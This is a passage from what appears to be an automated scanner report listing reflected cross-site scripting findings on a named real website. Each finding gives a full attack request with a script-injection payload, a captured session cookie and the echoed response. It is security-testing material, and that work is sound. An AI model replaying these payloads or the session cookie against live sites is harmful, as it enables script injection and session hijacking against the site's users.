GET /pt/plans_price.phpeba27"><script>alert(1)</script>3de6eb0507e HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-1add3a46e5fa11f1bad7f0346b7660dd"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13518

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/plans_price.phpeba27"><script>alert(1)</script>3de6eb0507e" method="post">
...[SNIP]...

1.730. http://www.watchmouse.com/pt/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8b23"><script>alert(1)</script>f23ac1e4943 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/plans_price.php?c8b23"><script>alert(1)</script>f23ac1e4943=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-363546bffba0d488365bb39993db960d"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 59438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/plans_price.php?c8b23"><script>alert(1)</script>f23ac1e4943=1" method="post">
...[SNIP]...

1.731. http://www.watchmouse.com/pt/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5456e"><script>alert(1)</script>94cd4dcb85d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt5456e"><script>alert(1)</script>94cd4dcb85d/register.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5fe3028bda903c14a43d5ad379f8b287"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt5456e"><script>alert(1)</script>94cd4dcb85d/register.php" method="post">
...[SNIP]...

1.732. http://www.watchmouse.com/pt/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 394c1"><script>alert(1)</script>b2a6081e33d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/register.php394c1"><script>alert(1)</script>b2a6081e33d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-459ee22c6b3bce21407c13c1455256d5"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13491

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/register.php394c1"><script>alert(1)</script>b2a6081e33d" method="post">
...[SNIP]...

1.733. http://www.watchmouse.com/pt/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9867a"><script>alert(1)</script>5ad8c1bd683 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/register.php?vpackid=35&9867a"><script>alert(1)</script>5ad8c1bd683=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-a5b65e09f9982b7ba9656bd268d4caed"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26911

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&9867a"><script>alert(1)</script>5ad8c1bd683=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.734. http://www.watchmouse.com/pt/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7af92"><script>alert(1)</script>54a8ddefce9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pt7af92"><script>alert(1)</script>54a8ddefce9/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-66008372bc1855f141d5d34d4257ed14"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pt7af92"><script>alert(1)</script>54a8ddefce9/website_monitoring_features.php" method="post">
...[SNIP]...

1.735. http://www.watchmouse.com/pt/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2219"><script>alert(1)</script>3448ce45b97 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/website_monitoring_features.phpf2219"><script>alert(1)</script>3448ce45b97 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-2a65e47a98f5c7409463361b88951c60"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/website_monitoring_features.phpf2219"><script>alert(1)</script>3448ce45b97" method="post">
...[SNIP]...

1.736. http://www.watchmouse.com/pt/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pt/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab762"><script>alert(1)</script>f1188a206f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pt/website_monitoring_features.php?ab762"><script>alert(1)</script>f1188a206f8=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pt-6c411a73805b0eea1df2a55a782a2828"
Content-Language: pt
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pt" lang="pt">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pt/website_monitoring_features.php?ab762"><script>alert(1)</script>f1188a206f8=1" method="post">
...[SNIP]...

1.737. http://www.watchmouse.com/pubstatus.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pubstatus.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 987b1"><script>alert(1)</script>3d4b54670e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pubstatus.php987b1"><script>alert(1)</script>3d4b54670e3 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-6b7bcc3296c2ff25af904a6644f3532c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pubstatus.php987b1"><script>alert(1)</script>3d4b54670e3" method="post">
...[SNIP]...

1.738. http://www.watchmouse.com/pubstatus.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pubstatus.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47794"><script>alert(1)</script>136bc26f7e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pubstatus.php?47794"><script>alert(1)</script>136bc26f7e2=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e7a5150d3a720179db69ecf2f61a85f2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pubstatus.php?47794"><script>alert(1)</script>136bc26f7e2=1" method="post">
...[SNIP]...

1.739. http://www.watchmouse.com/settings.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/settings.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b32e"><script>alert(1)</script>a203806cec4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /settings.php4b32e"><script>alert(1)</script>a203806cec4 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-72d11a227167432dbeb60ac7e0744065"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/settings.php4b32e"><script>alert(1)</script>a203806cec4" method="post">
...[SNIP]...

1.740. http://www.watchmouse.com/settings.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/settings.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 692a9"><script>alert(1)</script>8336e390c58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /settings.php?692a9"><script>alert(1)</script>8336e390c58=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:10:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0ebb21dcba075994a7d1256f9e452dd8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 76744

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/settings.php?692a9"><script>alert(1)</script>8336e390c58=1" method="post">
...[SNIP]...

1.741. http://www.watchmouse.com/sv/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40172"><script>alert(1)</script>225dcfd6669 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=140172"><script>alert(1)</script>225dcfd6669 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-edfe7e3685cea3221915000b40f70dac"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=140172"><script>alert(1)</script>225dcfd6669" method="post">
...[SNIP]...

1.742. http://www.watchmouse.com/sv/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e70bd"><script>alert(1)</script>3a8e6cc3b92 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sve70bd"><script>alert(1)</script>3a8e6cc3b92/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ce4da413b7f4c33313e9527d0de88086"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sve70bd"><script>alert(1)</script>3a8e6cc3b92/" method="post">
...[SNIP]...

1.743. http://www.watchmouse.com/sv/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/

Issue detail

